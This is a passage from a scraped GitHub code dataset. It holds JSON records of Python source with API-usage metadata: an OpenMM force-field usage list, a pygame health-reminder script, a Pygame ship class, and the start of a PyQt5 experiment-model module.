"line_number": 242, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 247, "usage_type": "call"}, {"api_name": "os.path", "line_number": 247, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 248, "usage_type": "call"}, {"api_name": "os.path", "line_number": 248, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 830, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 862, "usage_type": "call"}, {"api_name": "openmm.app.internal.compiled.matchResidueToTemplate", "line_number": 984, "usage_type": "call"}, {"api_name": "openmm.app.internal.compiled", "line_number": 984, "usage_type": "name"}, {"api_name": "openmm.app.internal.compiled.matchResidueToTemplate", "line_number": 994, "usage_type": "call"}, {"api_name": "openmm.app.internal.compiled", "line_number": 994, "usage_type": "name"}, {"api_name": "openmm.app.internal.compiled.matchResidueToTemplate", "line_number": 1062, "usage_type": "call"}, {"api_name": "openmm.app.internal.compiled", "line_number": 1062, "usage_type": "name"}, {"api_name": "openmm.app.internal.compiled.matchResidueToTemplate", "line_number": 1139, "usage_type": "call"}, {"api_name": "openmm.app.internal.compiled", "line_number": 1139, "usage_type": "name"}, {"api_name": "openmm.unit.nanometer", "line_number": 1150, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 1150, "usage_type": "name"}, {"api_name": "openmm.unit.amu", "line_number": 1152, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 1152, "usage_type": "name"}, {"api_name": "openmm.app.internal.argtracker.ArgTracker", "line_number": 1211, "usage_type": "call"}, {"api_name": "openmm.System", "line_number": 1229, "usage_type": "call"}, {"api_name": "openmm.unit.is_quantity", "line_number": 1249, "usage_type": "call"}, {"api_name": "openmm.unit", "line_number": 1249, "usage_type": "name"}, {"api_name": "openmm.unit.dalton", "line_number": 1250, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 1250, "usage_type": "name"}, {"api_name": "itertools.combinations", "line_number": 1308, "usage_type": "call"}, {"api_name": "openmm.TwoParticleAverageSite", "line_number": 1357, "usage_type": "call"}, {"api_name": "openmm.ThreeParticleAverageSite", "line_number": 1359, "usage_type": "call"}, {"api_name": "openmm.OutOfPlaneSite", "line_number": 1361, "usage_type": "call"}, {"api_name": "openmm.LocalCoordinatesSite", "line_number": 1363, "usage_type": "call"}, {"api_name": "openmm.CMMotionRemover", "line_number": 1370, "usage_type": "call"}, {"api_name": "openmm.app.internal.compiled.matchResidueToTemplate", "line_number": 1395, "usage_type": "call"}, {"api_name": "openmm.app.internal.compiled", "line_number": 1395, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 1481, "usage_type": "call"}, {"api_name": "itertools.permutations", "line_number": 1717, "usage_type": "call"}, {"api_name": "openmm.app.internal.compiled.matchResidueToTemplate", "line_number": 1720, "usage_type": "call"}, {"api_name": "openmm.app.internal.compiled", "line_number": 1720, "usage_type": "name"}, {"api_name": "itertools.permutations", "line_number": 1864, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 1971, "usage_type": "call"}, {"api_name": "openmm.HarmonicBondForce", "line_number": 2002, "usage_type": "attribute"}, {"api_name": "openmm.HarmonicBondForce", "line_number": 2004, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 2034, "usage_type": "call"}, {"api_name": "openmm.HarmonicAngleForce", "line_number": 2070, "usage_type": "attribute"}, {"api_name": "openmm.HarmonicAngleForce", "line_number": 2072, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 2104, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 2104, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 2136, "usage_type": "call"}, {"api_name": "openmm.PeriodicTorsionForce", "line_number": 2174, "usage_type": "attribute"}, {"api_name": "openmm.PeriodicTorsionForce", "line_number": 2176, "usage_type": "call"}, {"api_name": "openmm.RBTorsionForce", "line_number": 2289, "usage_type": "attribute"}, {"api_name": "openmm.RBTorsionForce", "line_number": 2291, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 2355, "usage_type": "call"}, {"api_name": "openmm.CMAPTorsionForce", "line_number": 2365, "usage_type": "attribute"}, {"api_name": "openmm.CMAPTorsionForce", "line_number": 2367, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 2372, "usage_type": "call"}, {"api_name": "openmm.NonbondedForce", "line_number": 2466, "usage_type": "attribute"}, {"api_name": "openmm.NonbondedForce", "line_number": 2467, "usage_type": "attribute"}, {"api_name": "openmm.NonbondedForce", "line_number": 2468, "usage_type": "attribute"}, {"api_name": "openmm.NonbondedForce", "line_number": 2469, "usage_type": "attribute"}, {"api_name": "openmm.NonbondedForce", "line_number": 2470, "usage_type": "attribute"}, {"api_name": "openmm.NonbondedForce", "line_number": 2471, "usage_type": "attribute"}, {"api_name": "openmm.NonbondedForce", "line_number": 2474, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 2488, "usage_type": "call"}, {"api_name": "openmm.NonbondedForce", "line_number": 2504, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 2610, "usage_type": "call"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2614, "usage_type": "call"}, {"api_name": "openmm.Discrete2DFunction", "line_number": 2615, "usage_type": "call"}, {"api_name": "openmm.Discrete2DFunction", "line_number": 2616, "usage_type": "call"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2620, "usage_type": "attribute"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2622, "usage_type": "attribute"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2624, "usage_type": "attribute"}, {"api_name": "warnings.warn", "line_number": 2633, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 2655, "usage_type": "call"}, {"api_name": "openmm.CustomBondForce", "line_number": 2661, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 2686, "usage_type": "call"}, {"api_name": "openmm.GBSAOBCForce", "line_number": 2715, "usage_type": "attribute"}, {"api_name": "openmm.GBSAOBCForce", "line_number": 2716, "usage_type": "attribute"}, {"api_name": "openmm.GBSAOBCForce", "line_number": 2717, "usage_type": "attribute"}, {"api_name": "openmm.GBSAOBCForce", "line_number": 2718, "usage_type": "attribute"}, {"api_name": "openmm.GBSAOBCForce", "line_number": 2719, "usage_type": "attribute"}, {"api_name": "openmm.GBSAOBCForce", "line_number": 2720, "usage_type": "attribute"}, {"api_name": "openmm.GBSAOBCForce", "line_number": 2723, "usage_type": "call"}, {"api_name": "openmm.NonbondedForce", "line_number": 2739, "usage_type": "attribute"}, {"api_name": "openmm.CustomBondForce", "line_number": 2774, "usage_type": "call"}, {"api_name": "openmm.CustomAngleForce", "line_number": 2824, "usage_type": "call"}, {"api_name": "openmm.CustomTorsionForce", "line_number": 2893, "usage_type": "call"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2956, "usage_type": "attribute"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2957, "usage_type": "attribute"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2958, "usage_type": "attribute"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2959, "usage_type": "attribute"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2960, "usage_type": "attribute"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2961, "usage_type": "attribute"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2964, "usage_type": "call"}, {"api_name": "openmm.CustomNonbondedForce", "line_number": 2983, "usage_type": "attribute"}, {"api_name": "openmm.CustomGBForce", "line_number": 3011, "usage_type": "attribute"}, {"api_name": "openmm.CustomGBForce", "line_number": 3012, "usage_type": "attribute"}, {"api_name": "openmm.CustomGBForce", "line_number": 3013, "usage_type": "attribute"}, {"api_name": "openmm.CustomGBForce", "line_number": 3021, "usage_type": "attribute"}, {"api_name": "openmm.CustomGBForce", "line_number": 3022, "usage_type": "attribute"}, {"api_name": "openmm.CustomGBForce", "line_number": 3023, "usage_type": "attribute"}, {"api_name": "openmm.CustomGBForce", "line_number": 3024, "usage_type": "attribute"}, {"api_name": "openmm.CustomGBForce", "line_number": 3025, "usage_type": "attribute"}, {"api_name": "openmm.CustomGBForce", "line_number": 3026, "usage_type": "attribute"}, {"api_name": "openmm.CustomGBForce", "line_number": 3029, "usage_type": "call"}, {"api_name": "openmm.CustomHbondForce", "line_number": 3107, "usage_type": "attribute"}, {"api_name": "openmm.CustomHbondForce", "line_number": 3108, "usage_type": "attribute"}, {"api_name": "openmm.CustomHbondForce", "line_number": 3109, "usage_type": "attribute"}, {"api_name": "openmm.CustomHbondForce", "line_number": 3110, "usage_type": "attribute"}, {"api_name": "openmm.CustomHbondForce", "line_number": 3111, "usage_type": "attribute"}, {"api_name": "openmm.CustomHbondForce", "line_number": 3112, "usage_type": "attribute"}, {"api_name": "openmm.CustomHbondForce", "line_number": 3115, "usage_type": "call"}, {"api_name": "openmm.CustomManyParticleForce", "line_number": 3234, "usage_type": "attribute"}, {"api_name": "openmm.CustomManyParticleForce", "line_number": 3235, "usage_type": "attribute"}, {"api_name": "openmm.CustomManyParticleForce", "line_number": 3248, "usage_type": "attribute"}, {"api_name": "openmm.CustomManyParticleForce", "line_number": 3249, "usage_type": "attribute"}, {"api_name": "openmm.CustomManyParticleForce", "line_number": 3250, "usage_type": "attribute"}, {"api_name": "openmm.CustomManyParticleForce", "line_number": 3251, "usage_type": "attribute"}, {"api_name": "openmm.CustomManyParticleForce", "line_number": 3252, "usage_type": "attribute"}, {"api_name": "openmm.CustomManyParticleForce", "line_number": 3253, "usage_type": "attribute"}, {"api_name": "openmm.CustomManyParticleForce", "line_number": 3256, "usage_type": "call"}, {"api_name": "openmm.Continuous1DFunction", "line_number": 3266, "usage_type": "call"}, {"api_name": "openmm.Continuous2DFunction", "line_number": 3268, "usage_type": "call"}, {"api_name": "openmm.Continuous2DFunction", "line_number": 3270, "usage_type": "call"}, {"api_name": "openmm.Discrete1DFunction", "line_number": 3272, "usage_type": "call"}, {"api_name": "openmm.Discrete2DFunction", "line_number": 3274, "usage_type": "call"}, {"api_name": "openmm.Discrete2DFunction", "line_number": 3276, "usage_type": "call"}, {"api_name": "openmm.CustomManyParticleForce", "line_number": 3313, "usage_type": "attribute"}, {"api_name": "openmm.CustomBondForce", "line_number": 3391, "usage_type": "attribute"}, {"api_name": "openmm.CustomBondForce", "line_number": 3393, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 3442, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 3442, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 3533, "usage_type": "attribute"}, {"api_name": "openmm.CustomAngleForce", "line_number": 3534, "usage_type": "attribute"}, {"api_name": "openmm.CustomAngleForce", "line_number": 3537, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 3545, "usage_type": "attribute"}, {"api_name": "openmm.unit.dalton", "line_number": 3575, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 3575, "usage_type": "name"}, {"api_name": "openmm.unit.dalton", "line_number": 3577, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 3577, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 3608, "usage_type": "attribute"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 3609, "usage_type": "attribute"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 3611, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 3640, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 3757, "usage_type": "attribute"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 3758, "usage_type": "attribute"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 3760, "usage_type": "call"}, {"api_name": "openmm.PeriodicTorsionForce", "line_number": 3953, "usage_type": "attribute"}, {"api_name": "openmm.PeriodicTorsionForce", "line_number": 3955, "usage_type": "call"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 4039, "usage_type": "attribute"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 4042, "usage_type": "call"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 4149, "usage_type": "attribute"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 4151, "usage_type": "call"}, {"api_name": "openmm.CustomBondForce", "line_number": 4164, "usage_type": "attribute"}, {"api_name": "openmm.PeriodicTorsionForce", "line_number": 4165, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 4167, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 4167, "usage_type": "attribute"}, {"api_name": "openmm.unit.radian", "line_number": 4175, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 4175, "usage_type": "name"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 4238, "usage_type": "attribute"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 4240, "usage_type": "call"}, {"api_name": "openmm.CustomAngleForce", "line_number": 4253, "usage_type": "attribute"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 4254, "usage_type": "attribute"}, {"api_name": "openmm.PeriodicTorsionForce", "line_number": 4255, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 4257, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 4257, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 4258, "usage_type": "attribute"}, {"api_name": "openmm.unit.radian", "line_number": 4270, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 4270, "usage_type": "name"}, {"api_name": "openmm.unit.dalton", "line_number": 4454, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 4454, "usage_type": "name"}, {"api_name": "openmm.unit.dalton", "line_number": 4455, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 4455, "usage_type": "name"}, {"api_name": "openmm.AmoebaTorsionTorsionForce", "line_number": 4467, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaTorsionTorsionForce", "line_number": 4470, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 4610, "usage_type": "attribute"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 4611, "usage_type": "attribute"}, {"api_name": "openmm.CustomCompoundBondForce", "line_number": 4613, "usage_type": "call"}, {"api_name": "openmm.AmoebaVdwForce", "line_number": 4766, "usage_type": "call"}, {"api_name": "openmm.AmoebaVdwForce", "line_number": 4812, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 4919, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 4921, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 4923, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 4925, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 4927, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 4929, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5102, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5122, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5144, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5170, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5176, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5177, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5179, "usage_type": "call"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5193, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5195, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5197, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5467, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5468, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5469, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5470, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaWcaDispersionForce", "line_number": 5536, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaWcaDispersionForce", "line_number": 5538, "usage_type": "call"}, {"api_name": "openmm.AmoebaMultipoleForce", "line_number": 5772, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaGeneralizedKirkwoodForce", "line_number": 5784, "usage_type": "attribute"}, {"api_name": "openmm.AmoebaGeneralizedKirkwoodForce", "line_number": 5787, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 5842, "usage_type": "call"}, {"api_name": "openmm.HarmonicBondForce", "line_number": 5876, "usage_type": "attribute"}, {"api_name": "openmm.HarmonicBondForce", "line_number": 5879, "usage_type": "call"}, {"api_name": "openmm.HippoNonbondedForce", "line_number": 5930, "usage_type": "attribute"}, {"api_name": "openmm.HippoNonbondedForce", "line_number": 5931, "usage_type": "attribute"}, {"api_name": "openmm.HippoNonbondedForce", "line_number": 5951, "usage_type": "call"}, {"api_name": "openmm.HippoNonbondedForce", "line_number": 6000, "usage_type": "attribute"}, {"api_name": "openmm.DrudeForce", "line_number": 6040, "usage_type": "call"}, {"api_name": "openmm.NonbondedForce", "line_number": 6041, "usage_type": "attribute"}, {"api_name": "openmm.DrudeForce", "line_number": 6069, "usage_type": "attribute"}, {"api_name": "openmm.NonbondedForce", "line_number": 6070, "usage_type": "attribute"}, {"api_name": "openmm.unit.is_quantity", "line_number": 6091, "usage_type": "call"}, {"api_name": "openmm.unit", "line_number": 6091, "usage_type": "name"}, {"api_name": "openmm.unit.dalton", "line_number": 6092, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 6092, "usage_type": "name"}]}
{"seq_id": "2812674116", "text": "'''Healthy Programmer by Mayank Gupta'''\n# Assuming user starts program at 9am and stops it at 5pm -=> 8 hrs\n# Water - water.mp3 (3.5 litres) after every 25 min - Drank - log\n# Eyes - eyes.mp3 - every 30 min - EyDone - log\n# Physical activity - physical.mp3 every - 45 min - ExDone - log\n#Challenge: You will have to manage the clashes between the reminders such that no two reminders play at the same time.\n# Rules - Pygame module to play audio\n  \nfrom time import time # time is a module and it has a function named as time\nfrom datetime import datetime # datetime is a module and it has a class named as datetime\nfrom pygame import mixer # from pygame module, mixer a submodule which is being imported\n\n\ndef playSong(fileName, stopper):\n    mixer.init()\n    mixer.music.load(fileName)\n    mixer.music.set_volume(0.6)\n    mixer.music.play()\n    while True:\n        resp = input()\n        if resp == stopper:\n            mixer.music.stop()\n            break\n\ndef mylog(msg):\n    with open(LogFile, \"a\") as f:\n        f.write(f\"{msg} [{datetime.now()}]\\n\")\n    print(\"Your log is updated\\n\")\n\nif __name__ == \"__main__\":\n    startTime_water = time()\n    startTime_eyes = time()\n    startTime_exercise = time()\n    water_interval = 25*60\n    eyes_interval = 30*60\n    exercise_interval = 45*60\n\n    print(\"We hope that you reamain a Healthy Programmer\\n\")\n    Name  = input(\"Enter your first name: \")\n    LogFile = \"HP/\"+Name+\".log\"\n\n    while True:\n        if time() - startTime_water > water_interval:\n            print(\"Water Drinking time. Enter 'drank' to stop the alarm. !!!\")\n            playSong(\"HP/water.mp3\", \"drank\")\n            startTime_water = time()\n            mylog(\"Drank water at\")\n\n        if time() - startTime_eyes > eyes_interval:\n            print(\"Eye Relax time. Enter 'eydone' to stop the alarm. !!!\")\n            playSong(\"HP/eye.mp3\", \"eydone\")\n            startTime_eyes = time()\n            mylog(\"Eye Relaxed at\")\n\n        if time() - startTime_exercise > exercise_interval:\n            print(\"Physical Activity time. Enter 'exdone' to stop the alarm. !!!\")\n            playSong(\"HP/exercise.mp3\", \"exdone\")\n            startTime_exercise = time()\n            mylog(\"Physical Exercise at\")", "repo_name": "MayankGupta-dev08/My-Python-work", "sub_path": "136_cwh_HealthyProgrammer.py", "file_name": "136_cwh_HealthyProgrammer.py", "file_ext": "py", "file_size_in_byte": 2220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.mixer.init", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 15, "usage_type": "name"}, {"api_name": "pygame.mixer.music.load", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 16, "usage_type": "name"}, {"api_name": "pygame.mixer.music.set_volume", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 17, "usage_type": "name"}, {"api_name": "pygame.mixer.music.play", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 18, "usage_type": "name"}, {"api_name": "pygame.mixer.music.stop", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 22, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "name"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}, {"api_name": "time.time", "line_number": 32, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}, {"api_name": "time.time", "line_number": 43, "usage_type": "call"}, {"api_name": "time.time", "line_number": 46, "usage_type": "call"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}, {"api_name": "time.time", "line_number": 52, "usage_type": "call"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}, {"api_name": "time.time", "line_number": 58, "usage_type": "call"}]}
{"seq_id": "1215368262", "text": "import pygame\n\n\nclass Ship:\n    \"\"\"Klasa odpowiadająca zachowaniom statku w grze\"\"\"\n\n    def __init__(self, game):\n        \"\"\"Inicjalizacja statku i jego położenie początkowe\"\"\"\n\n        self.screen = game.screen\n        self.settings = game.settings\n        self.screen_rect = game.screen.get_rect()\n\n        # Wczytanie obrazu statku i pobranie jego prostokąta\n        self.image = pygame.image.load('obrazy/statek.bmp')\n        self.rect = self.image.get_rect()\n        self.rect.midbottom = self.screen_rect.midbottom\n        self.x = float(self.rect.x)\n        self.y = float(self.rect.y)\n        self.moving_right = False\n        self.moving_left = False\n        self.moving_up = False\n        self.moving_down = False\n\n    def update(self):\n        \"\"\"Uaktualnienie połozenia statku\"\"\"\n\n        if self.moving_right and self.rect.right < self.screen_rect.right:\n            self.x += self.settings.ship_speed\n        if self.moving_left and self.rect.left > 0:\n            self.x -= self.settings.ship_speed\n        if self.moving_down and self.rect.bottom < self.screen_rect.bottom:\n            self.y += self.settings.ship_speed\n        if self.moving_up and self.rect.top > self.screen_rect.top:\n            self.y -= self.settings.ship_speed\n\n        self.rect.x = self.x\n        self.rect.y = self.y\n\n    def blitme(self):\n        \"\"\"Wyświetlanie statku w jego aktualnym położenmiu\"\"\"\n        self.screen.blit(self.image, self.rect)\n", "repo_name": "BSteposz/Alien-Invasion-game", "sub_path": "ship.py", "file_name": "ship.py", "file_ext": "py", "file_size_in_byte": 1454, "program_lang": "python", "lang": "pl", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.image.load", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 15, "usage_type": "attribute"}]}
{"seq_id": "41820657548", "text": "# -*- coding: utf-8 -*-\nimport ast\nimport logging\nfrom collections import OrderedDict\n\nfrom PyQt5.QtCore import Qt, QSize, pyqtSignal, QObject\nfrom PyQt5.QtGui import QStandardItemModel, QStandardItem\nfrom PyQt5.QtWidgets import QItemDelegate, QTreeView\n\nfrom .experimentModules import ExperimentModuleException\nfrom .registry import *\nimport copy as cp\n\n\nclass ExperimentException(Exception):\n    pass\n\n\nclass ExperimentModel(QStandardItemModel):\n    \"\"\"\n    Model to provide item model that includes an additional name attribute\n    \"\"\"\n\n    def __init__(self, parent=None):\n        QStandardItemModel.__init__(self, parent)\n        self._name = None\n\n    def setName(self, name):\n        self._name = name\n\n    def getName(self):\n        return self._name\n\n    def flags(self, index):\n        if index.column() == 1:\n            return Qt.ItemIsEditable | Qt.ItemIsEnabled\n        else:\n            return Qt.ItemIsEnabled\n\n\nclass PropertyItem(QStandardItem):\n    RawDataRole = Qt.UserRole + 1\n\n    def __init__(self, data):\n        QStandardItem.__init__(self)\n        self._logger = logging.getLogger(self.__class__.__name__)\n        self._data = data\n        self._text = self._getText(data)\n\n    def type(self):\n        return QStandardItem.UserType\n\n    def _getText(self, data):\n        return str(data)\n\n    def setData(self, Any, role=None, *args, **kwargs):\n        if role == Qt.EditRole:\n            try:\n                self._data = ast.literal_eval(Any)\n            except (SyntaxError, ValueError) as e:\n                self._logger.exception(e)\n                return\n            self._text = str(self._data)\n\n        elif role == self.RawDataRole:\n            self._data = Any\n            self._text = self._getText(Any)\n\n        else:\n            raise NotImplementedError\n\n    def data(self, role=None, *args, **kwargs):\n        if role == Qt.DisplayRole:\n            return self._text\n        elif role == Qt.EditRole:\n            if isinstance(self._data, str):\n                return \"'\" + self._text + \"'\"\n            else:\n                return self._text\n        elif role == self.RawDataRole:\n            return self._data\n\n        else:\n            return super().data(role, *args, **kwargs)\n\n\nclass PropertyDelegate(QItemDelegate):\n    \"\"\"\n    A delegate that manages all property settings.\n    For now it uses a combobox for experimentModules and a standard\n    delegate for the rest.\n    \"\"\"\n\n    def __init__(self, parent=None):\n        QItemDelegate.__init__(self, parent)\n\n    def createEditor(self, parent, option, index):\n        if index.parent().isValid():\n            return QItemDelegate.createEditor(self, parent, option, index)\n        else:\n            # no parent -> top of hierarchy\n            return None\n\n    def setEditorData(self, editor, index):\n        QItemDelegate.setEditorData(self, editor, index)\n\n    def setModelData(self, editor, model, index):\n        QItemDelegate.setModelData(self, editor, model, index)\n\n\nclass ExperimentView(QTreeView):\n    def __init__(self, parent=None):\n        QTreeView.__init__(self, parent)\n        self.setItemDelegateForColumn(1, PropertyDelegate(self))\n\n    def sizeHint(self):\n        return QSize(300, 150)\n\n    def minimumSizeHint(self):\n        return self.sizeHint()\n\n\nclass ExperimentInteractor(QObject):\n    \"\"\"\n    Class that interacts between the gui which controls the programs execution\n    and the Experiment\n    \"\"\"\n    expFinished = pyqtSignal()\n    expStop = pyqtSignal()\n    sendData = pyqtSignal(object)\n    missedbeat = pyqtSignal()\n\n    def __init__(self, targetView, parent=None):\n        QObject.__init__(self, parent)\n        self._logger = logging.getLogger(self.__class__.__name__)\n        self.targetView = targetView\n        self.dataPoints = None\n        self.runningExperiment = False\n        # create model\n        self.targetModel = ExperimentModel(self)\n        self.targetModel.itemChanged.connect(self.itemChanged)\n        # parameter change settings\n        self.modSets = {}\n\n    def _addSettings(self, moduleName, parent):\n        \"\"\"\n        Sets the settings from an experiment module.\n        :param moduleName: the given experiment module name\n        :param parent: the given experiment module parent\n        \"\"\"\n        settings = self._readSettings(moduleName)\n\n        for key, val in settings.items():\n            setting_name = PropertyItem(key)\n            setting_value = PropertyItem(val)\n            parent.appendRow([setting_name, setting_value])\n\n    def _readSettings(self, moduleName):\n        \"\"\"\n        Reads the public settings from an experiment module.\n        :param moduleName: the given experiment module name\n        :return: settings of module or raise an exception if module is unknown\n        \"\"\"\n        modules = getRegisteredExperimentModules()\n        return modules[moduleName].publicSettings\n\n    def _readDataPoints(self, moduleName):\n        \"\"\"\n        Reads the data points from an experiment module.\n        :param moduleName: the given experiment module name\n        :return: data points of module or raise an exception if module is unknown\n        \"\"\"\n        modules = getRegisteredExperimentModules()\n        return modules[moduleName].dataPoints\n\n    def itemChanged(self, item):\n        \"\"\"\n        Updates settings of an experiment module.\n        :param item: the given experiment module\n        \"\"\"\n        if item.parent():\n            return\n\n        idx = item.index()\n        moduleItem = idx.model().item(idx.row())\n\n        # delete all old settings\n        moduleItem.removeRows(0, moduleItem.rowCount())\n\n        # insert new settings\n        parent = moduleItem.index().model().itemFromIndex(moduleItem.index())\n        moduleName = parent.data(role=PropertyItem.RawDataRole)\n        self._addSettings(moduleName, parent)\n\n    def getSettings(self, item):\n        \"\"\"\n        Returns a dict with all settings of the item of an experiment.\n        :param item: experiment module\n        :return: settings\n        \"\"\"\n        settings = OrderedDict()\n        for row in range(item.rowCount()):\n            propertyName = self.targetModel.data(item.child(row, 0).index(),\n                                                 role=PropertyItem.RawDataRole)\n            propertyVal = self.targetModel.data(item.child(row, 1).index(),\n                                                role=PropertyItem.RawDataRole)\n            settings.update({propertyName: propertyVal})\n\n        return settings\n\n    def setExperiment(self, exp):\n        \"\"\"\n        Load the given experiment settings into the target model.\n        :param exp: the given experiment\n        :return: `True` if successful, `False` if errors occurred.\n        \"\"\"\n        if exp is None:\n            return\n        if isinstance(exp, list):\n            self._logger.error(\"setExperiment(): only scalar input allowed!\")\n            return False\n\n        return self._applyExperiment(exp)\n\n    def editExperiment(self, exp):\n        \"\"\"\n        Edit the given experiment settings into the target model.\n        :param exp: the given experiment\n        :return: `True` if successful, `False` if errors occurred.\n        \"\"\"\n        if exp is None:\n            return\n        if isinstance(exp, list):\n            self._logger.error(\"editExperiment(): only scalar input allowed!\")\n            return False\n\n        return self._editExperiment(exp)\n\n    def _applyExperiment(self, exp):\n        \"\"\"\n        Set all module settings to those provided in the experiment.\n        :param exp: the provided experiment\n        :return: `True` if successful, `False` if errors occurred.\n        \"\"\"\n        self.dataPoints = []\n        self.targetModel.clear()\n        # insert header\n        self.targetModel.setHorizontalHeaderLabels(['Property', 'Value'])\n        # insert main items\n        for key, value in exp.items():\n            if key == 'Name':\n                